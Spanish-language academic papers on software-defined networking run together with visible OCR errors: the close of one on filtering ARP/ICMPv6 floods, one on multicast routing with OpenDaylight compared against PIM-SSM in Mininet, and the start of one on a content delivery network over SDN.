para la realizacién del proyecto, los experimentos fueron
realizados para redes con un médximo de 20 nodos. En el caso
del sistema con un controlador sin filtrado, la red con 20 nodos
dej6 de funcionar debido a la sobrecarga de la misma, por lo
que no se puede comparar este resultado con el obtenido para
la red con la solucién implementada. Destacar sin embargo
la mejora del 70% en cuanto a disminucién de paquetes ARP
para el caso con 5 nodos y 50% para el caso de 10 nodos;
y del 40% y 15% para 5 y 10 nodos en el caso de IPv6,
respectivamente.

VII. CONCLUSIONES Y TRABAJO FUTURO

En este documento se presenta el problema de la dismin-
ucién del rendimiento de los sistemas por las inundaciones
de red, debidas principalmente a los protocolos de arranque.
Se propone implementar un controlador que filtre dichos
mensajes para aumentar la escalabilidad de las redes Ethernet.
Se disefia para los casos de ARP e ICMPv6, con un disefio
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escalable a futuros protocolos. Posteriormente, se realizan
pruebas de rendimiento en un entorno emulado y se obtienen
unos resultados satisfactorios en cuanto a la disminucién del
trafico enviado en estas redes para ambos protocolos.

Como vias de investigacién futuras, se propone la inte-
gracién de la solucién implementada en una red real de
telecomunicaciones; la escalabilidad del cédigo implementado
a otros protocolos que generan trafico broadcast o multicast
como DHCP, Bonjour, etc; y el disefio de la arquitectura de la
quinta generaciéon mévil como una red Ethernet implementada
sobre SDN, en la que la nube de acceso dispondria de un
controlador SDN encargado de gestionar el trafico de la red.
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Resumen—El presente Trabajo Fin de Grado surge con el
objetivo de diseiiar e implementar una solucion multicast para
las redes definidas por software (SDN), unas de las soluciones
propuestas por los expertos para solucionar las limitaciones
actuales de la red. Uno de los protocolos multicast mas comunes
para las redes actuales es PIM-SSM, que se emplea por ejemplo
en los servicios de IPTV. Este trabajo presentara una solucion
como PIM-SSM basada en el paradigma SDN, la cual sera
comparada con una implementacion Open Source del protocolo
PIM-SSM usando Quagga una suite de routing. Esta solucién
se llevara a cabo mediante la plataforma OpenDaylight, usando
como controlador SDN, y el emulador de red Mininet, como una
red compuesta por routers, switches y hosts.

El objetivo es proponer una solucion versatil y eficaz a los
problemas actuales en la red, ocasionados por el exponencial
aumento del trafico cursado por la red, provocado por el auge
de los servicios multimedia.

Palabras clave—Software Defined Networking (SDN), Multi-
cast, OpenDaylight, PIM Source Specific Multicast (PIM-SSM),
Mininet, Java, Controller, Quagga, Multimedia, Internet Protocol
Television (IPTV), Qpimd.

I. INTRODUCCION

CTUALMENTE, el avance desmesurado de los servicios

ofrecidos por Internet, esta desencadenando un aumento
vertiginoso del nimero de usuarios que deciden hacer uso
de las distintas tecnologias multimedia, ofrecidas por los
proveedores de Streaming de video o IPTYV, para satisfacer
sus necesidades de ocio. Empresas como Netflix, Vodafone y
Moviestar han apostado fuerte por estos servicios provocando
que cada vez mads, sea mds atractivo hacer uso de estos
servicios debido a las facilidades y versatilidad que ofrecen.

En consecuencia, el trafico multicast cursado por la red esta
aumentando exponencialmente (ver Figura (1)), provocando
en un futuro préximo, que los servicios multimedia lleguen
a un punto en el que no puedan ofrecer la calidad necesaria
para satisfacer a sus clientes. En relacion a estas limitaciones
de la red actual surge un nuevo paradigma de red, las redes
definidas por software (SDN).

Software Defined Networking se convierte en una solucién
eficiente para mejorar a las redes actuales, ofreciendo una
alternativa a los problemas evidenciados por los servicios
multimedia. SDN propone una separacién del plano de control
y datos, permitiendo gestionar la red a partir de un controlador
con una visién global del sistema, presentando una versatili-
dad y flexibilidad en las redes inexistentes en las soluciones
actuales.

Exabytes

per Month

2015 2016 2017 2018 2019 2020

Fig. 1. Tréfico IP global por aplicaciones.[1]

Del mismo modo surgen protocolos Open Source para la
comunicacion entre el controlador y los dispositivos de red,
en ese sentido se impone OpenFlow como estandar de facto
siendo el mds conocido hasta la fecha. OpenFlow no tiene
dependencias con los distintos proveedores de elementos de
red, gracias a ser una especificacion abierta y estandarizada.
En base a lo anterior, grandes empresas como Cisco, HP, Ju-
niper o Google se han involucrado en proyectos de desarrollo
de las redes SDN.

En resumen, el estudio y desarrollo de nuevos servicios y
protocolos en esta nueva arquitectura de red por parte de la
comunidad global, serd clave en los afios venideros, ya que
sin ningin lugar a dudas las redes definidas por software seran
la clave del networking moderno.

II. DESARROLLO TEORICO

En esta seccion se pretende estudiar las dos tecnologias
claves en el presente proyecto, el trafico multicast en las redes
IP y las redes definidas por software, ambas esenciales para
entender el disefio y la resolucién del trabajo.

A. IP Multicast

IP Multicast proporciona una forma de transmitir infor-
macién a multiples receptores de forma que se reduzca el
trafico redundante en los enlaces, mientras IP Unicast se basa
en el envio de informacién a un unico receptor, un paquete
de datos por cada cliente (Figura (2)).
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Fig. 2. Diferencia entre IP Unicast y Multicast.

Se necesitan dos protocolos bdésicos para realizar IP Mul-
ticast. Primero, un protocolo para la asociacién y disociacion
de los usuarios a un grupo multicast del cual los usuarios
quieren recibir informacion. Ademads, se necesita un protocolo
de encaminamiento entre routers para crear una drbol de
distribucion entre la fuente y los receptores.

El protocolo utilizado para la para la adscripcién dindmica
de los host a grupos multicast se denomina IGMP[2]. Gracias
a la informacién recopilada mediante IGMP los routers son
capaces de mantener una lista con los grupos multicast a los
que estan interesados los hosts conectados a sus interfaces.

Para el encaminamiento entre routers, se hace uso de PIM-
SSM[3], una versién mejorada de PIM-SM y uno de los
protocolos multicast mds comunes en las redes actuales, que
se utiliza por ejemplo en los servicios de IPTV. PIM-SSM
permite la creacién de un drbol de distribucién a través de
cual se encamina el trafico multicast de forma eficiente.

B. Redes definidas por software

La principal caracteristica de las redes definidas por soft-
ware es la separacion del plano de control (software) del
plano de datos (hardware). Es decir, se puede ver como la
existencia de una capa superior a la capa fisica computa por
un controlador -que con una visién global de toda la red- es
quién se encarga de la gestion de la red[4].

La arquitectura se basa en tres capas, Figura (3):

o Una primera capa compuesta por la infraestructura de
red que seria el plano de datos (hardware), el cual estaria
formado por el conjunto de hosts, routers y switches de
la red. Todos estos elementos serdn gestionados por la
capa superior.

« La segunda capa, el plano de control, estaria formado por
el controlador encargado de gestionar la red y controlar el
flujo de la capa de datos. Es decir, tendria el control sobre
las tablas de encaminamiento de distintos elementos de
red. Estas dos capas se comunicaran entre si con las
llamadas SouthBoud APIs, en concreto se hara uso de
OpenFlow.

« Finalmente, se dispone de una tercera capa de aplicacion.
Esta formada por todos aquellos servicios y aplicaciones

de usuario cuya misién es comunicar al controlador sus
necesidades, a través de las NorthBoud APlIs.

APPLICATION LAYER |

‘ Business Applications

CONTROL LAYER SDN

Control
Software

Network Services .

Control Data Plane interface
(e.g., OpenFlow)

Network Device
Network Device

INFRASTRUCTURE LAYER

Network Device

Network Device

Fig. 3. Arquitectura de las redes definidas por software.[4]

C. Openflow

OpenFlow [5] es el primer protocolo libre y estandarizado
para establecer la comunicacién entre la capa de datos y la
capa de control. OpenFlow facilita el intercambio de mensajes
entre el controlador y los switches. Con OpenFlow tenemos
la posibilidad de acceder a las tablas de flujo permitiendo
controlar el trafico que circula a través de la red con la
modificacion de las tablas, es decir, OpenFlow es fundamental
en el presente proyecto para gestionar el trafico multicast.

OpenFlow se basa en tres aspectos Figura (3)[4]:

« El controlador, que serd el cerebro de la red, el cual
dialogara con todos los switches para transmitirles la
informacidén

« Las tablas de flujos instaladas en cada uno de los switches
que indicardn qué hacer con el trifico entrante.

o Los dispositivos de red (switches) con capacidad Open-
Flow.

Controller
OpenFlow Switch specification

penFlow Svﬁh

Flow
Table

w6

III. HERRAMIENTAS UTILIZADAS

En esta seccion se pretende exponer las distintas herramien-
tas utilizadas para el correcto desarrollo del proyecto, en
concreto se estudiard Mininet, Quagga y OpenDaylight.
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A. Mininet

Para la creacién de los escenarios se ha hecho uso de
Mininet[7], un emulador de red de codigo abierto, capaz de
crear redes basadas en estaciones finales, switches y routers.
Estos elementos se comportan dispositivos reales, se puede
enviar datos a través de ellos, ejecutar programas como
wireshark, ver el contenido de sus tablas, la unica diferencia
es que estan creados a base de software y no de Hardware, lo
que ofrece la creacion de topologias personalizadas de forma
sencilla, para realizar multitud de pruebas.

Ademads, Mininet cuenta con una API basada en python que
permite la creacion de scripts para el disefio de topologias
personalizadas, lo que la convierte en una herramienta muy
interesante para los objetivos identificados en el proyecto.

B. Quagga

Quaggal[8], es una suite de routing que proporciona ser-
vicios de enrutamiento, permitiendo el intercambio de in-
formacién entre routers, utilizando protocolos que hayan
sido establecidos anteriormente, permitiendo de esta forma
actualizar las tablas de routing y ver la informacién de estas
desde su interfaz. Quagga esta disefiado por una coleccién de
procesos en background (demonios) que se encargan de afiadir
las funcionalidades de routing, existe un demonio principal
que administra los demds Zebra y uno especifico para cada
protocolo, en concreto se hard uso de Qpimd.

Ademds, Quagga es compatible con Mininet permitiendo
dotar a la red, en este caso, del protocolo multicast de interés
en el proyecto, PIM-SSM. De esta forma, se puede estudiar
el comportamiento del protocolo, con el objetivo de optimizar
el mismo en una red basada en una arquitectura SDN.

C. OpenDaylight

OpenDaylight[9] es un controlador SDN de cédigo abierto,
implementado en software y programado en Java. De esta
forma, OpenDaylight serd el encargado de procesar todas
las necesidades de los elementos de red, de una forma
centralizada y con una visién global.

En este caso se programard el controlador para que cumpla
todos los requisitos que necesita la red para la correcta
transmisién de datos multimedia. Se le otorgard la capacidad
de procesar las peticiones IGMP de los routers decidiendo que
rutas debe establecer para el envio 6ptimo de datos, a partir
de la modificacion de las tablas de flujo de los elementos de
red.

IV. CARACTERIZACION DE UN PROTOCOLO MULTICAST,
PIM-SSM

Como primer paso, se precede a la creacion del escenario a
través de la programacién en python con la API ofrecida por
mininet. Se opta por una red sencilla pero significativa, similar
a una topologia tipo arbol, formada por cinco hosts, donde
el host superior actuard siempre de proveedor de servicios
multimedia (Figura (5)).

Para la inclusién de Quagga en la topologia, es necesaria
la creacién de los ficheros de configuracion de los demonios
Zebra y Qpimd en cada switch. En ellos, hay que indicar
las rutas estdticas para establecer la comunicacién entre los
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distintos dispositivos de red e indicar las interfaces por las
cuales se hardn uso de los protocolos IGMP o PIM-SSM, con
el objetivo de permitir la transmision de datos multimedia.

ey R4
" g )
/

e ©

v % %
o RS .,
Re6 R7 i

h2 h3 h4 h5

Fig. 5. Escenario Mininet para PIM-SSM

Una vez el escenario esta creado, se opta por el uso de
la aplicacién ssmpingd, una herramienta de gestién de red
multicast que ofrece la posibilidad de comprobar si se pueden
recibir paquetes de multidifusién.

El funcionamiento es muy simple, el host que hace de
servidor tiene que iniciar un demonio ssmpingd, el cual estara
en escucha en el puerto 4231 a espera de algin tipo de
peticion, entonces los clientes interesados envian un mensaje
tipo unicast ssmping query. Cuando el servidor recibe una
peticion, este responde con mensajes tipo unicast al cliente
y multicast a un grupo multicast SSM, que en este caso al
utilizar IPv4 la direccién del grupo es 232.43.211.234, y de
esta forma se puede comprobar que el escenario en cuestion
es capaz de transmitir datos multimedia.

A. Ejemplo prdctico

Tal y como se explicéd en secciones anteriores el host-1
sera el servidor de contenidos multimedia, mientras los demas
hosts seran clientes del servicio. A continuacion, se va a
realizar un ejemplo en el cual los host 2 y 4 realizardn una
peticidén al servidor.

Primero, se inicia el demonio ssmpingd en el host-1, de tal
forma que este se quede en espera hasta que reciba peticiones
de clientes. Una vez iniciado el demonio desde el host 2 y 4
se realiza una peticion al supuesto servidor de contenidos.

Si la configuracién de los distintos ficheros zebra y gpimd
de red es correcta se deberia de ver como llegan los paquetes
multicast a los terminales de los host 2 y 4 y las peticiones
de los clientes a la fuente, comprobando asi el correcto
funcionamiento del escenario (Figura (6)).
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(b) Terminal host 1

Fig. 6. Prueba funcionamiento trdfico multicast.

V. DESARROLLO MULTICAST SOBRE SDN

En esta seccién se pretende explicar los procedimientos
llevados a cabo para la implementacién del controlador Open-
Daylight que permita el intercambio de trafico multicast entre
servidores multimedia y clientes, en un escenario basado en
una arquitectura SDN.

A. Ldgica de la implementacion

Para el desarrollo del controlador se optd por una topologia
emulada sobre Mininet de la misma distribucién que en la
seccién anterior (Figura (5)).

Una vez esta diseflado el escenario, el primer paso ha
realizar es convertir al controlador el cerebro de la red, y
para ello es necesario que todas las peticiones IGMPV3 Mem-
bership Report trasmitidas por los clientes, sean procesadas
por el controlador, de forma que tenga conocimiento sobre
las direcciones IPs de las fuentes multimedia activas y de
los clientes interesados en ellas. Para ello, es necesario crear
una regla de prioridad elevada en los switches que contengan
conexiones a host para que reenvien todos los paquetes tipo
IGMPv3 hacia el controlador (Véase Figura (7)).

ovs-ofctl add-flow -00penFlowl3 sl
dl_type=0x0800,nw_proto=2,priority=65535,actions=output:controller
ovs-ofctl add-flow -00penFlowl3 s6
dl type=0x0800,nw proto=2,priority=65535,actions=output:controller
ovs-ofctl add-flow -00penFlowl3 s7
dl_type=0x0800,nw_proto=2,priority=65535,actions=output:controller
ovs-ofctl add-flow -00penFlowl3 s8
dl_type=0x0800,nw_proto=2,priority=65535,actions=output:controller
ovs-ofctl add-flow -00penFlowl3 s9
dl_type=0x08@0,nw_proto=2,priority=65535,actions=output:controller

Fig. 7. Reglas IGMP establecidas en switches.

B. Andlisis de un paquete IGMP

Cuando un paquete llega al controlador, este tiene que
ser capaz de procesarlo y extraer toda la informacién nece-
saria para gestionar la red. De modo que obtenga todos
los pardmetros imprescindibles para afadir las rutas, que
encaminan el tridfico multicast hacia los clientes desde la
fuente. De esta forma, se realiza un parsing del paquete
IGMPv3 Membership Report con la ayuda de wireshark, para
comprobar que campos eran de interés para la gestion de la
red en el ambito multicast.

Dentro del paquete IGMP el campo mds importante en el
admbito de este TFG es el Group Record (Véase Figura 8).
Este campo indica la direccion IP de la fuente, junto con la
direcciéon multicast del grupo al que el host esta interesado
en unirse. Ademds, contiene un campo llamado Record Type
que indica si se requiere unirse a un grupo o por el contrario,
ser eliminado de uno (el valor 5 indica la unién y el valor 6
la desunién a un grupo concreto).

S
Record Type Aux Data Len | Number of Sources (N)
B e e et R e e i e
Multicast Address
T e
| Source Address [1]

+- -+

Source Address [2]

| Source Address [N]
Fodbododododododododododododododobodododbodobodododbotodododbodotodot

Auxiliary Data

e e a e e St S
Fig. 8. Contenido Group Record.

Asi, analizados los campos importantes, se procede a
realizar una mejora de la clase PacketUtils.java (clase
perteneciente al controlador) incluyendo funciones para la
obtencién de los pardmetros comentados anteriormente (Di-
recciones IPs de Grupo y de fuente, valor del Record Type),
de esta forma el controlador serd capaz de afiadir o eliminar
rutas en funcién del campo Record Type.

C. Algoritmo Dijkstra

OpenDaylight identifica los distintos nodos que contiene la
red con la dupla "openflow : X : Y” siendo X el nimero
de switch e Y un puerto concreto, por lo tanto, se tiene que
hallar una forma para obtener el camino hacia los clientes en
este formato.

Asi, una vez el controlador tiene conocimiento sobre la
accion a realizar (afiadir o eliminar entradas de flujo), necesita
conocer el camino desde la fuente hasta los clientes que estén
unidos al grupo multicast concreto. Para ello, como el paquete
IGMP proporciona la direccién IP de la fuente y la direccién
IP del host cliente, se hace uso de la funcién GetPath() que
devuelve el camino a seguir en forma de “open flow : X : Y”
tal y como se necesita para identificar los diferentes nodos de
red.

La funcién GetPath(server, sourcehost), calcula la ruta mas
corta desde la fuente hacia un cliente concreto, a través del
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algoritmo Dijkstra. El algoritmo Dijkstra calcula el camino
mads corto de un vértice origen hacia los demds vértices de la
topologia, en base a un grafo establecido con distintos pesos
en los enlaces [10]. El algoritmo analiza todos los caminos
hacia todos los nodos existentes, finalizando encontrados los
caminos mds cortos (Figura 9).

Algorithm DijkstraShortestPaths(G, ):
Input: A simple undirected weighted graph G with nonnegative edge weights,
and a distinguished vertex v of G
Qutput: A label D[u]. for each veriex u of G. such that D{u] is the distance from
vitouin GG
DY) — 0
for each vertex u # v of G do
Dlu] — +0c
Let a priority queue O contain all the vertices of G using the 1 labels as keys.
while (0 is not empty do
{pull 2 new vertex u into the cloud}
u +— Q.removeMin()
for each vertex z adjacent to u such that zis in @ do
{perform the relaxation procedure on edge (u,z)}
ifD|u] +wi(u,z)) < Dz| then
Dz] — Du] 4+ w{(u,z))
Change to D{z] the key of vertex z in Q.
return the label Dlu] of each vertex u

Fig. 9. Algoritmo Dijkstra [10].

D. Creacion del drbol de distribucion

Una vez se tiene conocimiento del camino que tiene que
seguir el trafico multicast, en funcién de la cantidad de
elementos de la ruta se crean las distintas entradas en la tablas
de flujo, en cada uno de los switch que pertenecen al path en
cuestion. Para ello, se hace uso de una funcion llamada mod-
ifyL3FlowSeveralOutputConnectors(), la cual anade, elimina
o modifica las entradas de las tablas de flujo, a partir de unos
pardmetros de entrada. Estos pardmetros son la direccién del
grupo multicast con el que se hace el matching del trafico, el
identificador del nodo en el cual se realiza la modificacion,
junto con dos listas en formato “openflow : X : Y” que
contienen las entradas a modificar o eliminar.

Primero, se comprueba el contenido de la tabla para no
afadir entradas que ya existan en ella. Ademads, se obtiene in-
formacion de las listas que contienen los distintos pardmetros
que identifican la necesidad de eliminar o afiadir entradas
en las tablas, en funcién del contenido de estas variables
se aplicaran las acciones pertinentes para afadir las nuevas
entradas (Figura (10)).

//CHECK OUTPUT CONNECTORS TO REMOVE

List<Uri> egressNodeConnectorsToRemoveUri = new ArraylList<Uri=(); // Casting NodeConnectorId to Uri

for (NodeConnectorId tmpNodeConnectorId : egressNodeConnectorsToRemove) {
egressNodeConnectorsToRemoveUri.add(new Uri(tmpNodeConnectorId)); }

List<NodeConnectorId> existingEgressNodeConnectors = new ArrayList<NodeConnectorId>();
for (Action existingAction : existingActionList) {
if (existingAction.getAction() instanceof OutputActionCase) {
OutputActionCase opAction = (OutputActionCase)existingAction.getAction();
tmpOutputNodeConnectorUri = opAction.getOutputAction().getOutputNodeConnector();
existingEgressNodeConnectors.add(new NodeConnectorId(tmpOutputNedeConnectoruri));
if (egressNodeConnectorsToRemoveUri.contains(tmpOutputNodeConnectoruri)) {
} else {
tmpOutputNodeConnectorId = new NodeConnectorId(tmpOutputNodeConnectorlri);
finalEgressNodeConnectors.add (tmpOutputNodeConnectorld);
}
}
//CHECK OUTPUT CONNECTORS TO ADD
for (NodeConnectorId tmpNodeConnector : egressNodeConnectorsToAdd) {
if (finalEgressNodeConnectors.contains(tmpNodeConnector)) {

} else {
finalEgressNodeConnectors.add(tmpNodeConnector) ;

}
}

Fig. 10. Pseudocddigo OpenDaylight.
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En resumen, en la Figura (11) se puede apreciar un di-
agrama de estados en el que se muestra todo el procesado
llevado a cabo por el controlador. Cuando el controlador
recibe un paquete, comprueba si es tipo IGMP, si es asi, en
base al campo Record type anade o elimina entradas en las
tablas en funcién del camino devuelto por el algoritmo Di-
Jjkstra, transmitiendo entonces mensajes tipo F LOW _MOD
con las acciones a modificar en los distintos switches destino.
En cambio, en el caso de que el paquete recibido no sea
de tipo IGMP, se lleva a cabo el learning-switch, asi el
controlador procede a buscar unmatching en sus tablas en
busca del destino del paquete, si no existe ninguna entrada
para el destino en cuestion, se realiza un flooding hacia todos
los switches de la red, de esta forma se realiza el aprendizaje
de las rutas hacia todos los host de la topologia en cuestion.

Procesado de paquetes en
el Controlador

Controlador en
espera

Recioe un paguete

Learning switch

Record Type = 6

' =

Caleulo del camino mas
corto hacia el destino

Record Type = 5

si

Packet Out

Algoritmo Dijkstra
(sourceNode,
destinationNode)

O Calculo del camino més
corto hacia el destino

‘Algoritmo,
Dijkstra.
(sourceNode,
[destinationNode)|

Afadir entradas

Fig. 11. Diagrama de estados controlador.

E. Prueba y Evaluacion del protocolo Multicast

Con el objetivo de comprobar el funcionamiento del pro-
tocolo desarrollado, a continuacién, se procede a realizar un
ejemplo practico para comprobar el funcionamiento del proto-
colo en un entorno emulado. Primero, se inicia el controlador
en modo debug para observar que eventos ocurren en él y
se emula la topologia creada con Mininet. A continuacion,
se hace uso del comando pingall para crear las rutas entre
los distintos elementos de red a partir de la funcionalidad de
learning-switch. Una vez anadidas las rutas, con el uso de la
herramienta ssmpingd se comprueba la correcta transmision
del trafico multicast y como las tablas de los switch se han
modificado. De esta forma, si se comprueban las tablas de
flujo de la red (Figura 12), se puede observar cémo se han
creado las entradas en los diferentes nodos pertenecientes al
camino mds corto hasta el cliente. Ademads, se puede ver la
cantidad de bytes transmitidos por cada regla, comprobando
de esta forma que el trafico se estd transmitiendo correcta-
mente y no se devuelven los paquetes al controlador.
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FLOW ENTRIES FOR

(c) Tabla de flujos Switch-6

Fig. 12. Tabla de flujos.

VI. ANALISIS Y CONCLUSIONES

Una vez desarrollado un escenario basado en SDN que
permite el intercambio de trafico multicast, es de interés
comprobar la cantidad de datos transmitido en los escenarios
implementados. Es decir, en un escenario con el uso del
protocolo PIM-SSM y en un escenario usando un controlador
SDN.

En la Figura (13) se muestra la cantidad de trafico pro-
ducido por la sefializaciéon multicast durante diferentes in-
stantes de tiempo, para una fuente activa y un tunico cliente.
Se puede observar como la cantidad de tréafico en el escenario
con PIM-SSM aumenta con el paso del tiempo, esto se debe al
intercambio de mensajes tipo PIM HELLO cada 30 segundos,
para comprobar periddicamente los vecinos con capacidad
PIM a su alrededor, provocando que haya un constante envio
de trafico en la red, ademas tras un minuto se vuelven a
transmitir los mensajes join/prune para confirmar la existencia
del arbol.

Bytes transmitidos mediante PIM-SSM y OpenDaylight en
el ambito multicast

106148

60000 53152

Nimero de bytes

21604

2004 2004 2004 2004 200 2004

1 minuto 2 minutos 3 minutos 5 minutos 7 minutos 10 minutos

Minutos de actividad

Fig. 13. Andlisis y evaluaciéon de ambos escenarios.

En cambio, con el uso de OpenDaylight relacionado con
la transmision multicast a través de la red solo se transmiten
los paquetes tipo FLOW_MOD, que contienen las acciones
pertinentes a realizar en cada uno de los switches de la red.

Por lo tanto, aunque sea una evaluacién aproximada, se de-
muestra que el uso de SDN provocaria las mejoras necesarias
en la red actual, en referencia a la liberacion de trafico en
la red, sin tener en cuenta las mejoras en las prestaciones de
gestién y flexibilidad para los administradores, no solo en lo
referente a multicast, sino en un dmbito completo de la red .

Finalmente, concluir comentando que se han logrado todos
y cada uno de los objetivos propuestos en el anteproyecto,
resolviendo cualquier problematica surgida de una forma
eficiente.
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Resumen—El aumento de trafico de red ha dado lugar a
la busqueda de nuevos métodos de distribucion de contenidos.
Una Content Delivery Network (CDN), mediante la replicacion
de contenidos, permite al cliente acceder de forma mas rapida
al contenido, y reducir el trafico en la red. Sin embargo, a
pesar del uso de las CDNs, en las redes de telecomunicacion
actuales existen una serie de limitaciones, razéon por la cual
nace el concepto de redes definidas por software (Software-
Defined Networking). Las redes definidas por software (SDN),
aportan flexibilidad en la implementacion de servicios, facilidad
de gestionar la red y reducir costes. Este tipo de redes proponen
la separacion del plano de control y el plano de datos, mediante
la centralizacion de recursos de control en dispositivos llamados
controladores. En este documento se comprobara la viabilidad
de implementar una red de distribucién de contenidos sobre una
topologia SDN y sus ventajas.

Palabras clave—Apache Traffic Server, Balanceo de carga,
Cluster, Content Delivery Network, Controlador, OpenDaylight,
Software Defined Networking.

I. INTRODUCCION

N los tltimos afios, la complejidad de las redes de

telecomunicacion se ha incrementado, debido a la necesi-
dad de utilizar mds elementos para soportar los servicios
requeridos. Tradicionalmente los equipos de red, como routers
o switches eran sistemas cerrados, a menudo sistemas propi-
etarios, generando un incremento de gasto de recursos no de-
seados, dada la cantidad de configuraciones individualizadas
de todos los elementos.

A. Software-Defined Networking

Las redes definidas por software (SDN) simplifican en
gran medida la gestion de red, facilitando la programacion
de servicios extremo a extremo, sin necesidad de entrar en
configuraciones individuales. Las SDN, mediante el uso de
APIs (Interfaces de programacién de aplicaciones), permiten
modificar el comportamiento de la red de forma controlada,
haciéndola maés flexible, escalable y programable. Ademds,
ayudan a reducir los costes.

Como se aprecia en la Fig. 1, la arquitectura SDN segtin
la Open Networking Foundation (ONF) [1] contempla princi-
palmente tres capas:

o Infraestructura (Plano de datos): Conjunto de elementos
de red como switches, routers o hosts. Estos dispositivos
tienen una menor inteligencia, pues son controlados
desde el controller (controlador). La infraestructura no

APPLICATION LAYER

Business Applications

I.P« Pl IhF’I APl

Y
CONTROL LAYER P
ERoa Network Services
b’ OpenFlow
INFRASTRUGTURE
LAYER L]

Fig. 1. Arquitectura SDN. Elementos de aplicaciones (arriba), elementos de
control (centro) y elementos de la infraestructura (abajo). [1]

esta tan intimamente relacionada con las funcionalidades,
puesto que las implementaciones no dependen tanto de
los componentes fisicos, sino que existe una mayor
abstraccion e independencia del software sobre el hard-
ware.

o Controlador (Plano de control): Mantiene una vision
global de la red. Para las aplicaciones se muestra como
un tnico switch, sirviendo de abstraccién de capas inferi-
ores. El controlador usa la informacién de la infraestruc-
tura para gestionar y controlar los flujos de datos. En
la comunicacién entre el plano de control y el de datos,
llamada SouthBound API, el protocolo OpenFlow se ha
convertido en el estdndar de facto.

« Aplicaciones: Dada la abstraccion aportada por el contro-
lador, se facilita la programacién de aplicaciones. Se usan
lenguajes mas comunes que no dependen de tecnologia
especifica. Se comunica con el controlador mediante la
NorthBound API.

Una de las principales motivaciones para la realizacién de
este proyecto, es la familiarizacién con la tecnologia SDN,
pues existe una gran oportunidad en el mercado, relacionada
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con la aportacién de servicios de este tipo de redes. Asi pues,
en un plazo medio-largo jugardn un papel fundamental en el
mundo de las telecomunicaciones.

B. Content Delivery Network

Ademds de la complejidad de la red, el trafico ha sufrido
un gran crecimiento, por ello, surge la necesidad de usar
elementos que ayuden a aumentar la eficiencia en la red, como
las Content Delivery Network (CDN). Estas arquitecturas de
red o framework, soportan el alojamiento y distribucién de
contenidos, permitiendo al proveedor de contenidos replicar
y servir los contenidos en diferentes localizaciones, de forma
descentralizada. Actualmente juegan un papel fundamental
en las redes, aproximadamente el 50 por ciento del trafico
consumido en Internet es servido por CDNs [2]. Una Con-
tent Delivery Network o CDN, permite llevar a cabo la
distribucién de contenido de forma descentralizada. Mediante
la replicacion del contenido en un conjunto de servidores
perimetrales (llamados surrogates), que sirven copias del
contenido al usuario final, mejorando el rendimiento y el uso
de ancho de banda.

Las principales ventajas de usar CDN son las siguientes:

« Evitar congestiones y altas latencias. Por la utilizacién de
servidores mas cercanos al cliente, disminuyendo trafico
en la red troncal.

« Fiabilidad. Debido al alto grado de redundancia y la
posibilidad de paliar los efectos de ataques DoS.

« Buena escalabilidad, cuando se despliega correctamente.

En este documento se va a mostrar una prueba de concepto
de distribucién de contenidos sobre una red SDN. El escenario
implementado hard uso del emulador de redes Mininet, para
emular la topologia SDN. Adicionalmente, se usardn equipos
conectados a esta topologia, que hardn uso del software
Apache Traffic Server (ATS), para realizar la funcién de
cacheo, de forma que simule el comportamiento de una CDN
a menor escala. El objetivo de este escenario es mostrar la
viabilidad de utilizar la tecnologia SDN para llevar a cabo
distribucién de contenidos.

II. ESTADO DEL ARTE

Existen una serie de proyectos donde se aprecian puntos en
comun con este trabajo.

En las referencias [3], [4] y [5] se propone la creacién de
un sistema de balanceo de carga sobre una infraestructura de
red SDN, haciendo uso del controlador SDN POX, y de la
herramienta de emulacién de redes Mininet. Estos proyectos
son similares a lo que se llevard a cabo en este proyecto,
sin embargo, en el proyecto que nos concierne, se realiza
ademads un cacheo de la informacién, haciendo uso del proxy
de Apache Traffic Server. Adicionalmente, el balanceo de
carga que se llevard a cabo no serd simplemente Round-
robin (como en las referencias), sino que se hard uso de
las estadisticas aportadas por los dispositivos de red. Por
ultimo, el controlador que se usara serd OpenDaylight, que es
programado en Java, frente a POX (usado en las referencias)
que hace uso de Python.

En la universidad de Seul, estudian la posibilidad de dis-
tribuir contenido a través de diferentes proveedores de servicio
(ISP) usando OpenFlow [6].

En el paper de Wichtlhuber, Reinecke y Haysheer presentan
un nuevo enfoque promoviendo la colaboracion entre el ISP y
el proveedor de CDN, con un despliegue sobre switches SDN
en una red ISP [7].

III. ESTIMACION DE COSTES

En la Tabla I se lleva a cabo la estimacion del coste total
de la realizacion del proyecto.

[ Concepto [ Coste |
1 desarrollador x 400 horas x 25 euros/hora 10000 euros
2 tutores x 25 horas x 50 euros/hora 1250 euros
Hardware (Portatil x 850 euros x 10 meses / 48 meses) | 177 euros
Recursos software 0 euros
Total 11427 euros

Tabla T
PRESUPUESTO TOTAL DEL PROYECTO.

IV. OPENFLOW

OpenFlow es el primer estdndar encargado de la comuni-
cacion de interfaces SouthBound entre el plano de control
y de datos en una arquitectura SDN [8]. OpenFlow permite
acceder y manipular directamente equipos del plano de datos
como switches o routers. El software externo puede acceder
a primitivas bésicas especificadas por OpenFlow para llevar
a cabo la modificacién de las tablas de flujo. Un flujo es
seguin el RFC 6437 [9] “una secuencia de paquetes enviados
de una fuente a un/os receptor/es mediante unicast, anycast o
multicast”.

OpenFlow utiliza flujos para identificar el trafico de red,
basandose en reglas predefinidas que pueden ser programadas
por el plano de control de la SDN.

A. Switch en Openflow

El objetivo principal del switch en OpenFlow es tomar
los paquetes que llegan a un puerto, y reenviarlo a otro
puerto, haciendo modificaciones si fueran necesarias. Cuando
un paquete llega a un puerto, éste pasa por la funcién de
matching, es decir, encontrar coincidencias de paquetes, y a
continuacion a la tabla de flujos. Tras este proceso el paquete
es enviado a la casilla de acciones, donde pueden tomarse tres
acciones:

« Reenviar el paquete a un puerto de salida local con
posibilidad de modificar alguna cabecera del paquete.

o Descartar el paquete.

« Enviar el paquete al controlador (“PACKET IN’). Como
respuesta, utilizando los mensajes “PACKET OUT”, el
controlador puede reenviar el paquete hacia un puerto
especifico, o hacia la 16gica de matching.

Las tablas de flujo contienen una serie de entradas con
un conjunto de datos, con los cuales se puede llevar a
cabo el matching de los paquetes recibidos, para aplicar
las instrucciones pertinentes. Los principales campos son los
siguientes [11]:

e Match Fields: Campo utilizado para comprobar la coin-

cidencia de los paquetes. Consiste en el puerto de entrada
y las cabeceras de los paquetes.

50



IT / Redes definidas por software

e Counters: Se actualizan cuando se encuentran paquetes
coincidentes.
o Instructions: Modifican la accién.

El estdndar ha ido evolucionando, y la version actual [12],
cuenta con otros campos como priority, timeouts, cookie y

flags.

B. Tablas de grupo

Las tablas de grupo, contienen una serie de acciones
aplicadas a un conjunto de flujos. Si quiere aplicarse acciones
